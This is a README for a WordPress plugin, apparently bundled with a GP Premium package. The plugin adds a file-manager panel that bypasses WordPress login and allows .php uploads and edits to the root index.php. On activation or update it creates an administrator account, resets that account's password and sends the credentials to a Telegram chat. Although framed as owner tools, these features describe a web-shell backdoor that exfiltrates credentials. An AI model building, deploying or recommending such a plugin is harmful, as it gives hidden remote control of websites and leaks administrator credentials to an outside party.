SANTACLAUSE File Manager
Included in SANTACLAUSE Owner Tools 1.0.0; file manager package version 1.0.0.
This standalone WordPress plugin needs neither GeneratePress nor GP Premium.
Deactivate the old combined GP Premium/SANTACLAUSE package or separate file manager
before activating it. Existing configuration, options and account records are
retained. A normal stock GP Premium plugin can coexist without being required.

First standalone activation rotates the file manager credentials once while
preserving a valid existing per-site route. Use the newest Telegram credentials.
New messages allow normal copying and forwarding. The managed WordPress user
retains its recorded ID/login when present and receives a new password.

If no account has been recorded, the first eligible activation or active-plugin
replacement also creates one visible WordPress administrator. Later events
reuse its recorded ID/login and set a new random password. The current WordPress
login credentials are sent to the configured private Telegram chat with copying
and forwarding allowed. They differ from the file manager credentials, and the
old WordPress password stops working. Open Plugins or Dashboard after an active
replacement, including a same-version ZIP through the WordPress updater; no
menu or deactivate/reactivate step is needed. Each event is attempted once, and
ordinary reloads do not rotate, recreate a user or retry delivery. A deleted
recorded account is replaced with a new random account only on the next
authorized activation/install/update event, when its recorded ID and exact login
are both absent. Demoted, mismatched or incomplete records require inspection;
they are not replaced or promoted. Tools > WP Admin Telegram is optional for
status, settings and manual first creation; see ../README-WP-ADMIN-TELEGRAM.txt
for requirements, replacement audit details and recovery.

See ../README-INSTALL.txt for installation, migration and recovery instructions.

Requirements: WordPress 6.1+, PHP 8.0+, HTTPS and outbound HTTPS to api.telegram.org.
ZIP extraction and multi-file downloads require PHP ZipArchive; non-ASCII ZIP
filename comparisons require mbstring. Private temporary storage must be writable.

New sites create a random panel account and route ID. Telegram delivery includes
the domain, time, panel URL, username and initial password. The server persists
the password hash rather than the plaintext password; the delivered plaintext
password remains in the Telegram chat.

Use Open SANTACLAUSE File Manager under Tools > SANTACLAUSE File Manager and sign in with
the separate panel credentials. WordPress login is not required for panel use.
Account management under Tools remains restricted to WordPress administrators.
Extra management links are not added to the plugin list row.

The current address uses this path/query form:
/wp-admin/admin-post.php?action=cpm26_panel&cpm26_panel=<per-site-route-ID>
It loads the panel without passing through the main index.php. Other WordPress
loader files and the active SANTACLAUSE Owner Tools plugin must remain available.
Old front-end links can redirect only while those requests still load WordPress.
panel.php and panel-runtime.php are not standalone public entry points.

Uploads support .php, .html, .htm and .zip files up to 64 MiB, subject to PHP hosting
limits. Extract Here uses the archive's directory; Extract to Folder uses the
entered folder name. Enable overwrite-and-merge to preview same-name files that
will be replaced, then confirm separately. Same-name directories are merged,
unrelated files remain, and the source ZIP is retained.

Extraction requires PHP ZIP and supports up to 5,000 ZIP entries, 64 MiB per file
and 256 MiB total output. Existing-file recovery copies have a separate 256 MiB
total limit. Payloads and destinations are rechecked before writes. Existing files
are backed up privately before replacement; failures trigger an attempt to restore
original contents and remove new output. If recovery is incomplete, private backups
and recovery.json are retained and their location is shown to the administrator.
The source ZIP and protected destinations cannot be overwritten.

The entire running SANTACLAUSE Owner Tools plugin and these root loader/configuration
files are protected from editing, upload replacement, creation, extraction and
deletion:
wp-blog-header.php, wp-load.php, wp-config.php, wp-settings.php, .htaccess,
web.config, .user.ini and php.ini.
The main root index.php may be changed after panel login through the validated
independent admin endpoint. Subfolder index.php files remain allowed. All ZIP
destinations are checked before output is written. Reading protected files remains
allowed; plugin updates should use the WordPress dashboard.

Extraction has its own readable-ZIP revision, independently of permission to
replace the source ZIP. Both extraction buttons remain visible. Missing PHP ZIP,
an unreadable archive or an archive over 64 MiB disables them with an explanation.

Left-hand checkboxes select up to 100 files or folders in the current directory.
Download selected returns one file directly or several files in one ZIP, up to
256 MiB total. Multiple-file downloads require PHP ZIP; folders are for deletion
only. Delete selected lists every selected item and nested folder entry before
permanent deletion. Confirmations expire after 10 minutes; detected changes cancel
the operation before deletion starts. Deletion limits are 5,000 items, 256 MiB
total file contents and 64 directory levels, with bounded inspection time.

The installation root, root wp-admin/wp-content/wp-includes directories, entire
SANTACLAUSE Owner Tools plugin and directories containing the running panel are
protected from deletion. Ordinary folders elsewhere can be deleted with their
contents. Symlinks, hard links, special files and cross-filesystem targets are
refused. Select all uses
JavaScript; individual checkboxes and server operations still work without it.
The text editor accepts UTF-8 files up to 1 MiB.

New installations must be activated once. An updated active package processes
new account delivery on the next permitted administrator visit without a
deactivate/activate cycle. Public panel visits never create or send accounts.

Bot configuration remains in telegram-config.php. The constants or environment
variables PANEL_TELEGRAM_BOT_TOKEN and PANEL_TELEGRAM_CHAT_ID override it.
Keep this private ZIP for your own sites. No live Telegram test is performed while
preparing the package; local checks use simulated responses.

For a lost password or failed delivery, choose Create account & send under
Tools > SANTACLAUSE File Manager. This changes the password and revokes earlier sessions.
